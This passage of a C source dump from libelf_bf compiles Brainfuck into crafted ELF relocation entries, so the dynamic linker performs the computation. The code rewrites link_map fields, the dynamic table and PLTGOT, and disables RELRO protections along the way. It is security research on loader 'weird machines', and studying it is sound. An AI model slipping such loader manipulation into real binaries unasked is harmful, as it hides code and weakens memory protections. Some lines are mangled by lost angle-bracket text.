l->lm_next_reloc - start; 273 | } 274 | 275 | eresi_Addr set_end_ifunc(elf_bf_exec_t *ee) 276 | { 277 | elf_bf_link_map_t *l = &(ee->ee_lm); 278 | eresi_Addr start = l->lm_next_reloc; 279 | eresi_Addr getendi, setendi; 280 | elf_bf_Rela getend, setend; 281 | getendi = set_next_reloc(l, 0, 0, 0, 0); 282 | setendi = set_next_reloc(l, 0, 0, 0, 0); 283 | reloc_get_reloc_entry(l, getendi, &getend); 284 | reloc_get_reloc_entry(l, setendi, &setend); 285 | 286 | reloc_set_rela(&getend, R_X86_64_64, symtab_get_index(ee->ee_stack_addr), reloc_get_offset_addr(&setend), 0); 287 | reloc_set_rela(&setend, R_X86_64_64, symtab_get_index(ee->ee_lm.lm_ifunc), 0, 0); 288 | return l->lm_next_reloc - start; 289 | } 290 | eresi_Addr set_end_value(elf_bf_exec_t *ee, eresi_Addr value) 291 | { 292 | elf_bf_link_map_t *l = &(ee->ee_lm); 293 | eresi_Addr start = l->lm_next_reloc; 294 | eresi_Addr getendi, setendi; 295 | elf_bf_Rela getend, setend; 296 | getendi = set_next_reloc(l, 0, 0, 0, 0); 297 | setendi = set_next_reloc(l, 0, 0, 0, 0); 298 | reloc_get_reloc_entry(l, getendi, &getend); 299 | reloc_get_reloc_entry(l, setendi, &setend); 300 | 301 | reloc_set_rela(&getend, R_X86_64_64, symtab_get_index(ee->ee_stack_addr), reloc_get_offset_addr(&setend), 0); 302 | reloc_set_rela(&setend, R_X86_64_RELATIVE, 0, 0, value); 303 | return l->lm_next_reloc - start; 304 | } 305 | 306 | eresi_Addr elfops_branch_end(elf_bf_exec_t *ee) 307 | { 308 | elf_bf_link_map_t *l = &(ee->ee_lm); 309 | eresi_Addr start = l->lm_next_reloc; 310 | //setup relocation entry that fixes dt_rela 311 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_rela,0); 312 | 313 | //setup relocation entry that fixes dt_relasz 314 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_relasz,0); 315 | 316 | elfops_prepare_branch(ee); 317 | 318 | //sets symbol's indx to (value on tape) 319 | //sets symbol's link addr to (value on tape) 320 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(ee->ee_ptr_tape_copy), 321 | symtab_get_link_addr(ee->ee_lm.lm_ifunc), 0); 322 | 323 | //sets end to zero or ifunc, depending on link value of sym1 set earlier 324 | //address of end is in a symbol so we need to copy it to the next rel entry's offset 325 | set_end_ifunc(ee); 326 | 327 | //sets end to original value 328 | 329 | set_end_value(ee, ee->ee_reloc_end_value); 330 | 331 | 332 | return l->lm_next_reloc - start; 333 | } 334 | 335 | 336 | 337 | //set exec linkmap at offset to value 338 | eresi_Addr update_exec_linkmap(elf_bf_exec_t *ee, eresi_Addr offset, eresi_Addr value) 339 | { 340 | elf_bf_link_map_t *l = &(ee->ee_lm); 341 | eresi_Addr start = l->lm_next_reloc; 342 | 343 | //calculate address of item for linkmap to update in scratchspace 344 | elf_bf_Rela calculate, update; 345 | eresi_Addr calculatei, updatei; 346 | 347 | //don't know all the information we need to set in this yet 348 | calculatei = set_next_reloc(l, 0, 0, 0, 0); 349 | updatei = set_next_reloc(l, 0, 0, 0, 0); 350 | reloc_get_reloc_entry(l, calculatei, &calculate); 351 | reloc_get_reloc_entry(l, updatei, &update); 352 | 353 | //save value of offset+link_map addr in next relocation entry 354 | //eresi_Addr u = reloc_get_offset_addr(&update); 355 | 356 | reloc_set_rela(&calculate, R_X86_64_64, symtab_get_index(ee->ee_exec_map_value), reloc_get_offset_addr(&update), offset); 357 | reloc_set_rela(&update, R_X86_64_RELATIVE, 0, 0, value);//offset filled in at runtime 358 | 359 | 360 | return l->lm_next_reloc - start; 361 | } 362 | 363 | 364 | //set exec linkmap at offset to value (&linkmap + ) 365 | eresi_Addr update_exec_linkmap_offset(elf_bf_exec_t *ee, eresi_Addr offset, eresi_Addr value) 366 | { 367 | elf_bf_link_map_t *l = &(ee->ee_lm); 368 | eresi_Addr start = l->lm_next_reloc; 369 | 370 | //calculate address of item for linkmap to update in scratchspace 371 | elf_bf_Rela calculate, update; 372 | eresi_Addr calculatei, updatei; 373 | 374 | //don't know all the information we need to set in this yet 375 | calculatei = set_next_reloc(l, 0, 0, 0, 0); 376 | updatei = set_next_reloc(l, 0, 0, 0, 0); 377 | reloc_get_reloc_entry(l, calculatei, &calculate); 378 | reloc_get_reloc_entry(l, updatei, &update); 379 | 380 | //printf("update 5 %x", updatei); 381 | //save value of offset+link_map addr in next relocation entry 382 | //_64 383 | reloc_set_rela(&calculate, R_X86_64_64, symtab_get_index(ee->ee_exec_map_value), reloc_get_offset_addr(&update), offset); 384 | reloc_set_rela(&update, R_X86_64_64, symtab_get_index(ee->ee_exec_map_value), 0, value);//offset filled in at runtime 385 | 386 | //printf("updating %x", reloc_get_offset_addr(&update)) 387 | return l->lm_next_reloc - start; 388 | } 389 | 390 | eresi_Addr elfops_prepare_branch(elf_bf_exec_t *ee) //10 391 | { 392 | elf_bf_link_map_t *l = &(ee->ee_lm); 393 | eresi_Addr start = l->lm_next_reloc; 394 | 395 | update_exec_linkmap(ee, get_l_buckets(0), 0); //let l_buckets to NULL 396 | 397 | 398 | // set l_direct_opencount to 0 399 | update_exec_linkmap(ee, get_l_direct_opencount(0), 0); 400 | 401 | update_exec_linkmap_offset(ee, get_l_libname_next(0), get_l_relocated(0) - 4*sizeof(int)); 402 | //set_next_reloc(l, R_X86_64_RELATIVE, 0, get_l_libname_next(l->lm_l_s), get_l_relocated(l->lm_l_s)-4*sizeof(int)); // rewire l_libname->next so relocated bit gets cleared 403 | //set_next_reloc(l, R_X86_64_RELATIVE, 0, get_l_prev(l->lm_l_s), l->lm_l_s); // prev points to self so it gets processed again 404 | update_exec_linkmap_offset(ee, get_l_prev(0), 0); 405 | 406 | //set own relrosize as 0 so memory protections arent set 407 | update_exec_linkmap(ee, get_l_relro_size(0), 0); 408 | 409 | //wipe pltgot[1] 410 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_pltgot, 0); 411 | 412 | return l->lm_next_reloc - start; 413 | } 414 | 415 | eresi_Addr elfops_putchar(elf_bf_exec_t *ee) 416 | { 417 | eresi_Addr start; 418 | elf_bf_link_map_t *l = &(ee->ee_lm); 419 | start = l->lm_next_reloc; 420 | 421 | eresi_Addr savei, putci, findputci, copyi, offseti; 422 | elf_bf_Rela save, putc, findputc, copy, offset; 423 | 424 | savei = set_next_reloc(l, 0, 0, 0, 0); 425 | findputci = set_next_reloc(l, 0, 0, 0, 0); 426 | //offseti = set_next_reloc(l, 0, 0, 0, 0); 427 | copyi = set_next_reloc(l, 0, 0, 0, 0); 428 | putci = set_next_reloc(l, 0, 0, 0, 0); 429 | reloc_get_reloc_entry(l, savei, &save); 430 | reloc_get_reloc_entry(l, findputci, &findputc); 431 | //reloc_get_reloc_entry(l, offseti, &offset); 432 | reloc_get_reloc_entry(l, copyi, ©); 433 | reloc_get_reloc_entry(l, putci, &putc); 434 | 435 | // copy tape value + writable address to COPY's offset 436 | reloc_set_rela(&save, R_X86_64_64, symtab_get_index(ee->ee_tape_ptr), reloc_get_offset_addr(©), 0); 437 | 438 | // save address of putc to next reloc entry 439 | reloc_set_rela(&findputc, R_X86_64_64, symtab_get_index(l->lm_putchar), reloc_get_addend_addr(&putc), 0); 440 | 441 | //reloc_set_rela(&save, R_X86_64_64, symtab_get_index(ee->ee_ptr_tape_copy), reloc_get_offset_addr(&putc), 0x601400); //TODO: find a region of 0xFF bytes that are writable , don't hardcode addend 442 | 443 | // set copy's offset 444 | //reloc_set_rela( 445 | 446 | // copy 447 | reloc_set_rela(©, R_X86_64_COPY, symtab_get_index(l->lm_putcharextra), 0, 0); 448 | 449 | // call putchar 450 | reloc_set_rela(&putc, R_X86_64_IRELATIVE, 0, reloc_get_offset_addr(©), 0); //it doesn't matter where result is written to 451 | 452 | return l->lm_next_reloc - start; 453 | 454 | } 455 | eresi_Addr elfops_exit(elf_bf_exec_t *ee) 456 | { 457 | eresi_Addr start; 458 | elf_bf_link_map_t *l = &(ee->ee_lm); 459 | start = l->lm_next_reloc; 460 | 461 | // force a branch to run original relocation entrires 462 | 463 | // restore PLT stuff 464 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_jmprel, ee->ee_dt_jmprel_value); 465 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_pltrelsz, ee->ee_dt_pltrelsz_value); 466 | 467 | elfops_prepare_branch(ee); 468 | 469 | 470 | //restore RELA to point to entry after branch 471 | eresi_Addr relai, bucketi, relaszi, last; 472 | elf_bf_Rela bucket, relasz, rela; 473 | 474 | //don't know all the information we need to set in this yet 475 | relai = set_next_reloc(l, 0, 0, 0, 0); 476 | 477 | //fix RELACOUNT accordingly 478 | // should probably auto calculate the 8 479 | //set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_relasz, 480 | //ee->ee_relasz_orig + 8*sizeof(Elf64_Rela)); 481 | 482 | relaszi = set_next_reloc(l, 0, 0, 0, 0); //placeholder for setting relasz before unconditional branch 483 | 484 | //force immediate branch so that we finally process PLT entries 485 | //address of end is in symbol... 486 | 487 | 488 | set_end_value(ee, 0); 489 | 490 | // restore l_buckets 491 | bucketi = relaszi + 3; 492 | update_exec_linkmap(ee, get_l_buckets(0), ee->ee_dt_gnu_hash); 493 | 494 | // now go back at steup relai 495 | reloc_get_reloc_entry(l, relai, &rela); 496 | reloc_get_reloc_entry(l, relaszi, &relasz); 497 | reloc_get_reloc_entry(l, bucketi, &bucket); //bucket is the first thing that processes after unconditional jump 498 | reloc_set_rela(&rela, R_X86_64_RELATIVE, 0, ee->ee_dt_rela, 499 | reloc_get_addr(&bucket)); //now we know where bucket is set DT_RELA 500 | 501 | //restore l->libname->next 502 | update_exec_linkmap(ee, get_l_libname_next(0), 0); 503 | 504 | //restore l_direct_opencount 505 | update_exec_linkmap(ee, get_l_direct_opencount(0), 1); 506 | 507 | //restore l_prev 508 | update_exec_linkmap(ee, get_l_prev(0), 0); 509 | 510 | //restore symtable to original value 511 | //printf("symorig %x\n", ee->ee_sym_orig); 512 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_sym, ee->ee_sym_orig); 513 | 514 | //restore RELA to point to original dynrel 515 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_rela,ee->ee_rela_orig); 516 | 517 | //restore PLTGOT 518 | set_next_reloc(l, R_X86_64_64, symtab_get_index(ee->ee_exec_map_value),ee->ee_dt_pltgot, 0); 519 | 520 | 521 | //restore RELACOUNT or whatever to original value 522 | last = set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_relasz, ee->ee_relasz_orig); 523 | 524 | 525 | //now we know how many rela entries there are on last pass 526 | reloc_set_rela(&relasz, R_X86_64_RELATIVE, 0, ee->ee_dt_relasz, 527 | ee->ee_relasz_orig + sizeof(Elf64_Rela) * (last - (bucketi-1))); 528 | 529 | 530 | return l->lm_next_reloc - start; 531 | } 532 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_ops.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #ifndef __ELF_BF_OPS 23 | #define __ELF_BF_OPS 24 | 25 | #include "symtab.h" 26 | #include "elf_bf_utils.h" 27 | 28 | eresi_Addr elfops_increment(elf_bf_exec_t *e); 29 | eresi_Addr elfops_decrement(elf_bf_exec_t *e); 30 | eresi_Addr elfops_increment_ptr(elf_bf_exec_t *e); 31 | eresi_Addr elfops_decrement_ptr(elf_bf_exec_t *e); 32 | eresi_Addr elfops_exit(elf_bf_exec_t *l); 33 | eresi_Addr elfops_branch_start(elf_bf_exec_t *ee); 34 | eresi_Addr elfops_branch_end(elf_bf_exec_t *ee); 35 | eresi_Addr elfops_getchar(elf_bf_exec_t *ee); 36 | eresi_Addr elfops_putchar(elf_bf_exec_t *ee); 37 | eresi_Addr init_scatch_space(elf_bf_exec_t *ee); 38 | #endif //ifndef __ELF_BF_OPS 39 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_utils.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include "elf_bf_utils.h" 27 | #include "elf_bf_ops.h" 28 | #include "elf_reloc_utils.h" 29 | #include "reloc.h" 30 | #include "symtab.h" 31 | 32 | 33 | void init_tape_pointer(elf_bf_exec_t *env); 34 | void init_tape_syms(elf_bf_exec_t *env); 35 | void init_elf_bf_linkmap(elf_bf_link_map_t *l, char *in, char *out); 36 | void fix_dynamic_table(elf_bf_exec_t *env); 37 | void insert_exec_secs(elf_bf_exec_t *env); 38 | void elfutils_save_lm(elf_bf_link_map_t *l); 39 | void init_exec_tape_pointer(elf_bf_exec_t *env); 40 | void init_exec_branch_syms(elf_bf_exec_t *ee); 41 | unsigned long process_bf_instructions (elf_bf_env_t *e, int countonly, size_t start, size_t end); 42 | unsigned long bf_rela_count(elf_bf_env_t *e); 43 | char *read_source(char *file); 44 | void fixup_branch_start(elf_bf_exec_t *ee, size_t index, size_t diff, size_t afterend); 45 | size_t find_branch_start(size_t pos, char *instructions); 46 | void elfutils_setup_env(char *src, 47 | char *execf_in, 48 | char *execf_out, 49 | char *libc, 50 | int tape_len, 51 | eresi_Addr ifuncoffset, 52 | eresi_Addr dl_auxv, // offset of _dl_auxv (in ld.so's data) 53 | eresi_Addr endoffset, // offset of &end on stack from where auxv lives on stack (value of _dl_auxv) 54 | int debug, 55 | elf_bf_env_t *env) 56 | { 57 | elfsh_Dyn *dyn; 58 | // open and load exec 59 | env->e_bf_source = read_source(src); 60 | env->e_bf_sourcepath = src; 61 | env->e_exec.ee_ifunc_offset = ifuncoffset; 62 | env->e_exec.ee_dl_auxv = dl_auxv; 63 | env->e_exec.ee_end_offset = endoffset; 64 | env->e_exec.ee_for_debug = debug; 65 | env->e_bf_libc = libc; 66 | env->e_exec.ee_libc = libc; 67 | env->e_exec.ee_exec_path = execf_in; 68 | init_elf_bf_linkmap(&(env->e_exec.ee_lm), execf_in, execf_out); 69 | elfshsect_t *bs; //we will pretend this section is our string table 70 | bs = elfsh_get_section_by_name(env->e_exec.ee_lm.lm_f, ".bss", NULL, NULL, NULL); 71 | env->e_exec.ee_lm.lm_bss_index = bs->index; 72 | env->e_exec.ee_tape_len = tape_len; 73 | //env->e_exec.ee_reloc_end = exec_reloc_end; 74 | env->e_exec.ee_dt_rela = get_dynent_addr(env->e_exec.ee_lm.lm_f, DT_RELA); 75 | env->e_exec.ee_dt_relasz = get_dynent_addr(env->e_exec.ee_lm.lm_f, DT_RELASZ); 76 | env->e_exec.ee_dt_sym = get_dynent_addr(env->e_exec.ee_lm.lm_f, DT_SYMTAB); 77 | env->e_exec.ee_dt_jmprel = get_dynent_addr(env->e_exec.ee_lm.lm_f, DT_JMPREL); 78 | env->e_exec.ee_dt_pltrelsz = get_dynent_addr(env->e_exec.ee_lm.lm_f, DT_PLTRELSZ); 79 | 80 | env->e_exec.ee_ptr_tape_ptr = NULL; 81 | env->e_exec.ee_tape_ptr = NULL; 82 | env->e_exec.ee_ptr_tape_copy = NULL; 83 | env->e_exec.ee_lm.lm_ifunc = NULL; 84 | env->e_exec.ee_exec_map = NULL; 85 | env->e_exec.ee_ld_base = NULL; 86 | env->e_exec.ee_libc_base = NULL; 87 | env->e_exec.ee_stack_addr = NULL; 88 | env->e_exec.ee_lm.lm_getchar = NULL; 89 | env->e_exec.ee_lm.lm_putchar = NULL; 90 | env->e_exec.ee_lm.lm_putcharextra = NULL; 91 | env->e_exec.ee_exec_map_value = NULL; 92 | 93 | 94 | env->e_exec.ee_num_reloc = bf_rela_count(env); 95 | init_tape_syms(&(env->e_exec)); //first count number of new syms 96 | insert_exec_secs(&(env->e_exec)); 97 | init_tape_syms(&(env->e_exec)); 98 | fix_dynamic_table(&(env->e_exec)); 99 | } 100 | 101 | elfshobj_t *elfutils_read_elf_file(char *file) 102 | { 103 | elfshobj_t *eo = elfsh_map_obj(file); 104 | if (!(eo)) { 105 | elfsh_error(); 106 | fprintf(stderr,"ERROR"); 107 | exit(-1); 108 | } 109 | return eo; 110 | } 111 | void init_elf_bf_linkmap(elf_bf_link_map_t *l, char *in, char *out) 112 | { 113 | l->lm_allocated = 0; 114 | l->lm_f = elfutils_read_elf_file(in); 115 | l->lm_out_name = out; 116 | //l->lm_ifunc_addr = ifunc; 117 | l->lm_next_reloc = 0; 118 | } 119 | 120 | void fix_dynamic_table(elf_bf_exec_t *env) 121 | { 122 | elfsh_Dyn *dyn; 123 | elfshobj_t *f = env->ee_lm.lm_f; 124 | 125 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_RELA); 126 | env->ee_rela_orig = elfsh_get_dynentry_val(dyn); 127 | elfsh_set_dynentry_val(dyn, elfsh_get_section_addr(env->ee_lm.lm_reloc->shdr)); 128 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_RELASZ); 129 | env->ee_relasz_orig = elfsh_get_dynentry_val(dyn); 130 | elfsh_set_dynentry_val(dyn, elfsh_get_section_size(env->ee_lm.lm_reloc->shdr)); 131 | env->ee_dt_relasz_value = elfsh_get_section_size(env->ee_lm.lm_reloc->shdr); 132 | env->ee_reloc_end_value = elfsh_get_section_addr(env->ee_lm.lm_reloc->shdr) + env->ee_dt_relasz_value; 133 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_GNU_HASH); 134 | env->ee_dt_gnu_hash = elfsh_get_dynentry_val(dyn); 135 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_SYMTAB); 136 | env->ee_sym_orig = elfsh_get_dynentry_val(dyn); 137 | elfsh_set_dynentry_val(dyn, elfsh_get_section_addr(env->ee_lm.lm_sym->shdr)); 138 | 139 | 140 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_JMPREL); 141 | env->ee_dt_jmprel_value = elfsh_get_dynentry_val(dyn); 142 | elfsh_set_dynentry_val(dyn, 0); 143 | 144 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_PLTRELSZ); 145 | env->ee_dt_pltrelsz_value = elfsh_get_dynentry_val(dyn); 146 | elfsh_set_dynentry_val(dyn, 0); 147 | 148 | //dyn = elfsh_get_dynamic_entry_by_type(f, DT_SYMENT); 149 | //env->ee_sym_orig = elfsh_get_dynentry_val(dyn); 150 | } 151 | unsigned long bf_rela_count(elf_bf_env_t *e) 152 | { 153 | return process_bf_instructions(e,1,0,0); 154 | } 155 | void compile_bf_instructions(elf_bf_env_t *e) 156 | { 157 | process_bf_instructions(e,0,0,0); 158 | } 159 | 160 | char *read_source(char *file) 161 | { 162 | FILE *f; 163 | size_t s; 164 | char *src; 165 | f = fopen(file,"r"); 166 | //look up file size 167 | fseek(f, 0L, SEEK_END); 168 | s = ftell(f); 169 | fseek(f, 0L, SEEK_SET); 170 | 171 | src = (char *) malloc(sizeof(char) * (s+1)); 172 | 173 | //read file 174 | size_t pc; 175 | for (pc = 0; (src[pc] = fgetc(f)) != EOF; pc++) {} 176 | src[pc] = 0; 177 | printf("\"%s\"\n",src); 178 | fclose(f); 179 | return src; 180 | } 181 | void fixup_branch_start(elf_bf_exec_t *ee, size_t index, size_t diff, size_t afterend) 182 | { 183 | //diff is the number of rela instructions between the start of the 184 | //first branch statement and the start of the last branch 185 | elf_bf_Rela r0, r1, next; 186 | elf_bf_link_map_t *lm = &(ee->ee_lm); 187 | //index of first entry in ']' 188 | reloc_get_reloc_entry(lm, (index) - (diff+4), &r0); 189 | reloc_get_reloc_entry(lm, (index) - (diff+3), &r1); 190 | reloc_get_reloc_entry(lm, afterend, &next); 191 | reloc_set_reladdend(&r0, next.addr); 192 | reloc_set_reladdend(&r1, ee->ee_dt_relasz_value - (afterend * sizeof(Elf64_Rela))); 193 | } 194 | void fixup_branch_end(elf_bf_exec_t *ee, size_t index, size_t diff) 195 | { 196 | //diff is the number of rela instructions between the start of the 197 | //first branch statement and the start of the last branch 198 | elf_bf_Rela r0, r1, jump; 199 | elf_bf_link_map_t *lm = &(ee->ee_lm); 200 | reloc_get_reloc_entry(lm, index, &r0); 201 | reloc_get_reloc_entry(lm, index+1, &r1); 202 | reloc_get_reloc_entry(lm, index-diff, &jump); 203 | reloc_set_reladdend(&r0, jump.addr); 204 | reloc_set_reladdend(&r1,ee->ee_dt_relasz_value - ((index-diff) * sizeof(Elf64_Rela))); 205 | } 206 | size_t find_branch_start(size_t pos, char *instructions) 207 | { 208 | size_t level = 1; 209 | for (pos = pos - 1; pos >= 0; pos--) { 210 | if (instructions[pos] == ']') { 211 | level++; 212 | }else if (instructions[pos] == '[') { 213 | level--; 214 | if (level == 0){ 215 | break; 216 | } 217 | } 218 | } 219 | if ((0 == pos) && ('[' != instructions[pos])) { 220 | fprintf(stderr,"mismatched brackets\n"); 221 | } 222 | return pos; 223 | } 224 | 225 | unsigned long process_bf_instructions (elf_bf_env_t *e, int countonly, size_t start, size_t end) 226 | { 227 | size_t i = 0; 228 | char c; 229 | unsigned long count = 0; 230 | elf_bf_exec_t *ee = &(e->e_exec); 231 | eresi_Addr next_reloc = ee->ee_lm.lm_next_reloc; 232 | int allocated = ee->ee_lm.lm_allocated; 233 | unsigned long oldcount; 234 | if (countonly) { 235 | ee->ee_lm.lm_allocated = 0; 236 | ee->ee_lm.lm_next_reloc = 0; 237 | }else{ 238 | start = 0; 239 | end = 0; 240 | 241 | } 242 | if (end == 0) { //only if we are totaling everything 243 | count += init_scatch_space(ee); 244 | } 245 | //if end == 0, then count until the end 246 | //printf("start %d, count %d, end %d\n", start, count, end); 247 | 248 | for (i=start; ((c = e->e_bf_source[i]) != 0) && ((end==0) || (i': 259 | count = count+elfops_increment_ptr(ee); 260 | break; 261 | case '<': 262 | count = count+elfops_decrement_ptr(ee); 263 | break; 264 | case '[': 265 | count = count+elfops_branch_start(ee); 266 | break; 267 | case ']': 268 | oldcount = count; 269 | count = count+elfops_branch_end(ee); 270 | if (! countonly) { 271 | start = find_branch_start(i,e->e_bf_source); 272 | size_t diff; 273 | //diff = process_bf_instructions(e,1,start+1,i); 274 | diff = process_bf_instructions(e,1,start+1,i); 275 | fixup_branch_start(ee,oldcount,diff, count); 276 | diff = process_bf_instructions(e,1,start, i); 277 | //diff = process_bf_instructions(e,1,start, i); 278 | fixup_branch_end(ee,oldcount,diff); 279 | } 280 | break; 281 | case 'X': 282 | count = count+elfops_exit(ee); 283 | break; 284 | case ',': // getchar (. is putchar) 285 | count = count+elfops_getchar(ee); 286 | break; 287 | 288 | case '.': // putchar 289 | count = count+elfops_putchar(ee); 290 | break; 291 | case '\n': 292 | case '\r': 293 | case '\t': 294 | case ' ': 295 | break; 296 | default: 297 | fprintf(stderr,"unrecognized bf symbol: %c", c); 298 | exit(-1); 299 | } 300 | } 301 | 302 | if (countonly) { 303 | //printf("%lu instructions\n",count); 304 | ee->ee_lm.lm_next_reloc = next_reloc; 305 | ee->ee_lm.lm_allocated = allocated; 306 | } 307 | return count; 308 | } 309 | 310 | elfshsect_t *insert_reloc_sec(elfshobj_t *f, eresi_Addr numrel, elfshsect_t *newsym) 311 | { 312 | char *rels; 313 | elfsh_Shdr *hdrrel; 314 | elfshsect_t *newrel; 315 | 316 | 317 | //alloc space for new sections 318 | rels = (char *) calloc(numrel, sizeof(Elf64_Rela)); 319 | hdrrel = (elfsh_Shdr *) calloc(1, sizeof(elfsh_Shdr)); 320 | 321 | 322 | /* Create the section descriptor (ESD) */ 323 | newrel = elfsh_create_section(".rela.p"); 324 | if (!newrel) { 325 | elfsh_error(); 326 | exit(-1); 327 | } 328 | 329 | /* Create a section header for the mapped section */ 330 | *hdrrel = elfsh_create_shdr(0, SHT_RELA, SHF_WRITE | SHF_ALLOC, 0, 0, numrel*sizeof(Elf64_Rela), newsym->index, 0, 8, sizeof(Elf64_Rela)); 331 | 332 | if (elfsh_insert_data_section(f, newrel, *hdrrel, rels) < 0) { 333 | elfsh_error(); 334 | exit(-1); 335 | } 336 | 337 | /* Retreive it again since the file offset and the vaddr may have been updated during insertion */ 338 | newrel = elfsh_get_section_by_name(f, ".rela.p", NULL, NULL, NULL); 339 | if (!newrel) { 340 | elfsh_error(); 341 | exit(-1); 342 | } 343 | 344 | 345 | return newrel; 346 | } 347 | 348 | elfshsect_t *insert_symtab_sec(elfshobj_t *f, eresi_Addr numsym, eresi_Addr strtab) 349 | { 350 | char *syms; 351 | elfsh_Shdr *hdrsym; 352 | elfshsect_t *newsym; 353 | 354 | syms = (char *) calloc(numsym, sizeof(Elf64_Sym)); 355 | hdrsym = (elfsh_Shdr *) calloc(1, sizeof(elfsh_Shdr)); 356 | 357 | newsym = elfsh_create_section(".sym.p"); 358 | if (!newsym) { 359 | elfsh_error(); 360 | exit(-1); 361 | } 362 | 363 | /* Create a section header for the mapped section for a string table*/ 364 | *hdrsym = elfsh_create_shdr(0, SHT_SYMTAB, SHF_WRITE | SHF_ALLOC, 0, 0, numsym*sizeof(Elf64_Sym), strtab, 2, 8, sizeof(Elf64_Sym)); 365 | 366 | if (elfsh_insert_data_section(f, newsym, *hdrsym, syms) < 0) { 367 | elfsh_error(); 368 | exit(-1); 369 | } 370 | 371 | 372 | /* Retreive it again since the file offset and the vaddr may have been updated during insertion */ 373 | newsym = elfsh_get_section_by_name(f, ".sym.p", NULL, NULL, NULL); 374 | elfsh_set_section_type(newsym->shdr, SHT_DYNSYM); 375 | if (!newsym) { 376 | elfsh_error(); 377 | exit(-1); 378 | } 379 | 380 | 381 | return newsym; 382 | } 383 | 384 | void copy_dynrel(elf_bf_exec_t *ee) 385 | { 386 | // get a copy of the current reladyn section so we can 387 | // copy data at end 388 | elfshsect_t *dynrel, *newrel; 389 | dynrel = elfsh_get_section_by_name(ee->ee_lm.lm_f, ".rela.dyn", NULL, NULL, NULL); 390 | newrel = ee->ee_lm.lm_reloc; 391 | // copy original relocation entries at end 392 | memcpy((void *) (newrel->data) + (ee->ee_num_reloc*sizeof(Elf64_Rela)), dynrel->data, elfsh_get_section_size(dynrel->shdr)); 393 | } 394 | void copy_dynsym(elf_bf_exec_t *ee) 395 | { 396 | //get original symbol table 397 | elfshsect_t *dynsym; 398 | dynsym = elfsh_get_section_by_name(ee->ee_lm.lm_f, ".dynsym", NULL, NULL, NULL); 399 | 400 | // copy in dynsym symbols 401 | ee->ee_lm.lm_sym->data = memcpy(ee->ee_lm.lm_sym->data, dynsym->data, elfsh_get_section_size(dynsym->shdr)); 402 | 403 | } 404 | void insert_exec_secs(elf_bf_exec_t *env) 405 | { 406 | elfshsect_t *sec, *str; 407 | sec = elfsh_get_section_by_name(env->ee_lm.lm_f, ".dynsym", NULL, NULL, NULL); 408 | 409 | //str = elfsh_get_section_by_name(env->ee_lm.lm_f, ".dynstr", NULL, NULL, NULL); 410 | env->ee_num_orig_syms = elfsh_get_section_size(sec->shdr)/sizeof(Elf64_Sym); 411 | env->ee_num_used_syms = env->ee_num_orig_syms; 412 | 413 | env->ee_lm.lm_sym = insert_symtab_sec(env->ee_lm.lm_f, env->ee_num_new_syms + env->ee_num_used_syms + env->ee_tape_len, elfsh_get_section_link(sec->shdr)); 414 | elfsh_set_section_type(sec->shdr, SHT_NULL); 415 | 416 | copy_dynsym(env); 417 | sec = elfsh_get_section_by_name(env->ee_lm.lm_f, ".rela.dyn", NULL, NULL, NULL); 418 | env->ee_lm.lm_reloc = insert_reloc_sec(env->ee_lm.lm_f, env->ee_num_reloc + 